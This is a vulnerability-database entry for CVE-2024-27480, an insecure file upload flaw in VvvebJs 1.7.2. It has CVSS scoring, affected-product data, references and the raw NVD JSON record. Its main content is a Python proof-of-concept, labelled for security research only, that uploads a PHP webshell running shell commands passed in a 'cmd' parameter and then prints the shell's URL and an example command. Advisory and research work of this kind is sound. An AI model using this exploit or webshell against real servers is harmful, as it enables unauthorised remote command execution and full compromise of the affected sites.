CVE-2024-27480

Description

givanz VvvebJs 1.7.2 is vulnerable to Insecure File Upload.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:vvveb:vvvebjs:1.7.2:*:*:*:*:*:*:* - VULNERABLE

VvvebJs 1.7.2及之前版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import sys

# CVE-2024-27480 PoC - VvvebJs Insecure File Upload
# Target: VvvebJs <= 1.7.2

TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target.com"
UPLOAD_PATH = "/vvvebjs/upload"
WEBSHELL_NAME = "shell.php"

# PHP webshell code
webshell = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>"

def exploit_upload():
    """Upload malicious PHP file to target server"""
    files = {
        'file': (WEBSHELL_NAME, webshell, 'application/x-php')
    }
    
    try:
        response = requests.post(
            f"{TARGET_URL}{UPLOAD_PATH}",
            files=files,
            timeout=10
        )
        
        if response.status_code == 200:
            print(f"[+] File uploaded successfully!")
            print(f"[+] Webshell path: {TARGET_URL}/uploads/{WEBSHELL_NAME}")
            print(f"[+] Execute command: ?cmd=whoami")
        else:
            print(f"[-] Upload failed with status: {response.status_code}")
            
    except requests.exceptions.RequestException as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    exploit_upload()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2024-27480
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2024-27480
[3] CVE Details https://www.cvedetails.com/cve/CVE-2024-27480/
[4] VulDB https://vuldb.com/cve/CVE-2024-27480
[5] https://gist.github.com/joaoviictorti/abb2d1929c29d09c13c60bb45f28a8ff
[6] https://gist.github.com/joaoviictorti/abb2d1929c29d09c13c60bb45f28a8ff

Raw JSON Data

JSON

{"cve": {"id": "CVE-2024-27480", "sourceIdentifier": "[email protected]", "published": "2025-12-29T21:15:42.387", "lastModified": "2026-01-02T22:15:43.553", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "givanz VvvebJs 1.7.2 is vulnerable to Insecure File Upload."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vvveb:vvvebjs:1.7.2:*:*:*:*:*:*:*", "matchCriteriaId": "00CE1B8B-C606-4F32-90B5-12910C726E0F"}]}]}], "references": [{"url": "https://gist.github.com/joaoviictorti/abb2d1929c29d09c13c60bb45f28a8ff", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://gist.github.com/joaoviictorti/abb2d1929c29d09c13c60bb45f28a8ff", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking"]}]}}